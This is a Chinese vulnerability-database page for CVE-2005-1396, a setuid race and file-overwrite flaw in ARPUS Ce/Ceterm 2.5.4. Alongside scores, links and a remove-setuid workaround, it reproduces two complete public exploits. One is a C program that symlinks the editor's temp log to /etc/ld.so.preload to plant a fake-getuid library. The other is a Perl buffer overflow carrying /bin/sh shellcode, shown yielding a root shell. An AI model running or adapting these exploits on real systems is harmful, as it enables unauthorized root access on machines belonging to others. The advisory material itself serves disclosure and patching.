CVE-2005-1396
CVSS1.2
发布时间 :2005-05-03 00:00:00
修订时间 :2008-09-10 15:38:54
NMCOES    

[原文]Race condition in Ce/Ceterm (aka ARPUS/Ce) 2.5.4 and earlier allows local users to write to arbitrary files via a symlink attack on the ce_edit_log temporary file.


[CNNVD]ARPUS Ce/Ceterm不安全临时文件创建漏洞(CNNVD-200505-857)

        Ce/Ceterm (aka ARPUS/Ce) 2.5.4及更早版本中的竞态条件,使得本地用户可以通过对ce_edit_log临时文件的symlink攻击来写任意文件。

- CVSS (基础分值)

CVSS分值: 1.2 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1396
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1396
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-857
(官方数据源) CNNVD

- 其它链接及资源

http://www.osvdb.org/16050
(VENDOR_ADVISORY)  OSVDB  16050
http://www.digitalmunition.com/DMA%5B2005-0501a%5D.txt
(UNKNOWN)  MISC  http://www.digitalmunition.com/DMA[2005-0501a].txt
http://securitytracker.com/id?1013855
(UNKNOWN)  SECTRACK  1013855
http://secunia.com/advisories/15197
(VENDOR_ADVISORY)  SECUNIA  15197
http://lists.grok.org.uk/pipermail/full-disclosure/2005-May/033705.html
(UNKNOWN)  FULLDISC  20050501 DMA[2005-0501a] - 'ARPUS/Ce setuid buffer overflow and file overwrite'

- 漏洞信息

ARPUS Ce/Ceterm不安全临时文件创建漏洞
低危 设计错误
2005-05-03 00:00:00 2005-10-20 00:00:00
本地  
        Ce/Ceterm (aka ARPUS/Ce) 2.5.4及更早版本中的竞态条件,使得本地用户可以通过对ce_edit_log临时文件的symlink攻击来写任意文件。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://168.158.26.15/ce/ce/ce.html

- 漏洞信息 (973)

ARPUS/Ce Local File Overwrite Exploit (setuid) (EDBID:973)
linux local
2005-05-01 Verified
0 Kevin Finisterre
N/A [点击下载]
/*
* Copyright Kevin Finisterre - ripped from my perl_ex.c
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
*
* kfinisterre@kfinisterre01:~$ ls -al /usr/bin/ce
* -rwsr-xr-x  1 root bin 630010 Sep 27  2004 /usr/bin/ce
*
* Tested against http://168.158.26.15/ce/ce-0260-intel-pentium-linux-fedoracore3.tar.gz
*  and ce-0254-intel-pentium-linux-redhat73.tar.Z
*
* (16:34:04) kfin80: this program is tricky
* (16:34:14) kfin80: it drops privs under certain conditions
* (16:34:20) kfin80: it was fucking me up for a second. =]
* (16:36:02) kfin80: kfinisterre@kfinisterre01:~$ ce a a
* (16:36:13) kfin80: kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx  1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log
* (16:36:16) kfin80: owned by ME
* (16:36:36) kfin80: kfinisterre@kfinisterre01:~$ export DISPLAY=yamom
* kfinisterre@kfinisterre01:~$ rm /tmp/ce_edit_log
* kfinisterre@kfinisterre01:~$ ce a a
* ce: cannot connect to X server yamom (Success)
* kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log
* -rwxrwxrwx  1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log
* (16:36:38) d4yj4y: hmmmmmm
* (16:36:38) kfin80: owned by root
* (16:36:49) kfin80: the export of a faulty display makes it NOT drop privs.
*
*/

#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

       FILE *getuid;
       if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
               printf("error opening file\n");
               exit(1);
       }

       fprintf(getuid, "int getuid(){return 0;}\n" );
       fclose(getuid);

       system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

       symlink(PRELOAD,"/tmp/ce_edit_log");
       umask(001); // I'm rw-rw-rw james bitch!

       putenv("DISPLAY=dmr0x!");  // GIMME ROOT BITCH!
       system("/usr/bin/ce");
       FILE *ld_so_preload;

       char preload[] = {
               "/tmp/getuid.so\n"
       };

       if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
               printf("error opening file\n");
               exit(1);
       }
       fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
       fclose(ld_so_preload);
}

// milw0rm.com [2005-05-01]
		

- 漏洞信息 (974)

ARPUS/Ce Local Overflow Exploit (setuid) (perl) (EDBID:974)
linux local
2005-05-01 Verified
0 Kevin Finisterre
N/A [点击下载]
#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#

# 57 bytes long
$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);

$ENV{"XAPPLRESLANGPATH"} = $buf;

exec("/usr/bin/ce"); 


# milw0rm.com [2005-05-01]
		

- 漏洞信息

16050
Ce/Ceterm Symlink Local Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

Arpus/Ce contains a flaw that may allow a malicious local user to overwrite arbitrary files on the system. The issue is due to the application writing to the "/tmp/ce_edit_log" with root privileges. It is possible for a user to use a symlink style attack to manipulate arbitrary files, resulting in a loss of integrity.

- 时间线

2005-04-30 2005-04-20
2005-04-30 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): The setuid can be removed and the program will continue to operate. This is true of the 2.5.4 release and beyond. Please note that removing the setuid will prevent utmp from being updated, but this is not a significant issue. Also the current distribution of 2.6 does not setuid the program.

- 相关参考

- 漏洞作者

- 漏洞信息

ARPUS Ce/Ceterm Insecure Temporary File Creation Vulnerability
Design Error 13465
No Yes
2005-05-02 12:00:00 2009-07-12 02:06:00
Discovery is credited to Kevin Finisterre <kf_lists@digitalmunition.com>.

- 受影响的程序版本

ARPUS Ce/Ceterm 2.5.1
ARPUS Ce/Ceterm 2.6

- 不受影响的程序版本

ARPUS Ce/Ceterm 2.6

- 漏洞讨论

ARPUS Ce/Ceterm is prone to an insecure temporary file creation vulnerability. This issue is due to a design error that causes a file to be insecurely opened
or created and subsequently written to.

An attacker may leverage this issue to corrupt arbitrary files with root privileges.

- 漏洞利用

The following proof of concept is available:

- 解决方案

The vendor has reported that version 2.6 and later of Ce/Ceterm no longer require the setuid bit to be set.


ARPUS Ce/Ceterm 2.5.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站